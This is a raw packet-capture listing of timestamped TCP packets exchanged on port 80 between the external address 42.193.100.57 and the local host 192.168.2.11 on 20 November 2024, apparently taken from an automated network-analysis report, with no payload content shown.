        Nov 20, 2024 09:14:55.398262978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398273945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398288012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398297071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398324013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398324013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398350000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398361921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398372889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398381948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398402929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398402929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398451090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398483038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398494959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398505926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398515940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398525953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398536921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398552895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398552895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398552895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398572922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398578882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398598909 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398649931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.624890089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.624902010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.624927998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.624974966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.624974966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625091076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625149965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625161886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625174046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625196934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625201941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625226021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625236988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625247955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625276089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625277042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625277042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625288963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625332117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625375986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625389099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625400066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625423908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625448942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625503063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625514984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625525951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625535965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625545979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625556946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625559092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625559092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625570059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625585079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625602961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625627995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625638962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625650883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625660896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625670910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625682116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625693083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625699997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625710964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625750065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625849962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625861883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625873089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625885010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625894070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625905037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625917912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.625920057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625920057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625932932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.625993967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626008987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626019955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626029015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626039982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626049995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626060963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626066923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626085997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626111031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626178980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626189947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626199961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626209974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626234055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626234055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626247883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626257896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626267910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626275063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626280069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626290083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626291990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626303911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626315117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626324892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626324892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626326084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626357079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626368999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626373053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626373053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626382113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626415014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626415014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626457930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626688957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626699924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626709938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626720905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626732111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626738071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626738071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626738071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626749039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626760006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626765013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626771927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626781940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626792908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626800060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626800060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626802921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626811028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626843929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626846075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626846075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626856089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626868963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626883030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.626895905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626913071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.626919985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627068043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627080917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627090931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627101898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627110004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627114058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627125025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627135992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627140999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627146959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627160072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627161980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627170086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627182007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627192020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627197027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627197027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627203941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627217054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627227068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627239943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627239943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627268076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627461910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627480984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627491951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627501965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627512932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627521038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627521038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627522945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627536058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627537012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627547026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627557993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627568007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627578020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627579927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627579927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627588987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627599955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627609968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627612114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627612114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627621889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627631903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627641916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627652884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627665043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627670050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627670050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627702951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627702951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627832890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627846003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627856016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627866983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.627886057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.627923965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.712507010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.712522030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.712533951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.712587118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.712619066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.712646961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.712718010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.712821960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.712833881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.712893963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713265896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713278055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713291883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713301897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713313103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713324070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713335037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713340998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713340998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713347912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713370085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713376999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713388920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713399887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713411093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713412046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713423967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713429928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713438034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713448048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713448048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713500977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713510990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713515043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713526011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713536978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713550091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713551044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713561058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713562965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713579893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713591099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713603020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713610888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713624954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713645935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713685036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713685036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713787079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713807106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713818073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713845968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713855982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713864088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713864088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713869095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713881016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713893890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.713913918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.713913918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714004993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714016914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714016914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714032888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714044094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714054108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714061975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714071035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714082003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714088917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714092970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714104891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714106083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714117050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714128017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714138985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714149952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714149952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714157104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714184999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714200974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714210987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714211941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714210987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714222908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714225054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714242935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714250088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714256048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714287043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714293957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714293957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714299917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.714334011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714334011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.714342117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.898883104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898900032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898911953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898922920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898932934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898943901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898956060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.898977995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.898979902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.898999929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899009943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899019957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899030924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899030924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899032116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899043083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899044991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899059057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899069071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899080038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899091005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899096012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899096012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899104118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899135113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899147034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899158001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899158955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899250984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899574995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899585009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899600029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899610043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899620056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899631023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899636030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899643898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899650097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899663925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899676085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899687052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899710894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899734974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899748087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899756908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899763107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899768114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899768114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899774075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899785995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899796963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899799109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899813890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899826050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899832964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899837017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899852037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899854898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899868965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899885893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899885893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899890900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899904966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899915934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899923086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899933100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899941921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899941921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899945974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899960995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.899991035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.899991035 CET4970180192.168.2.1142.193.100.57
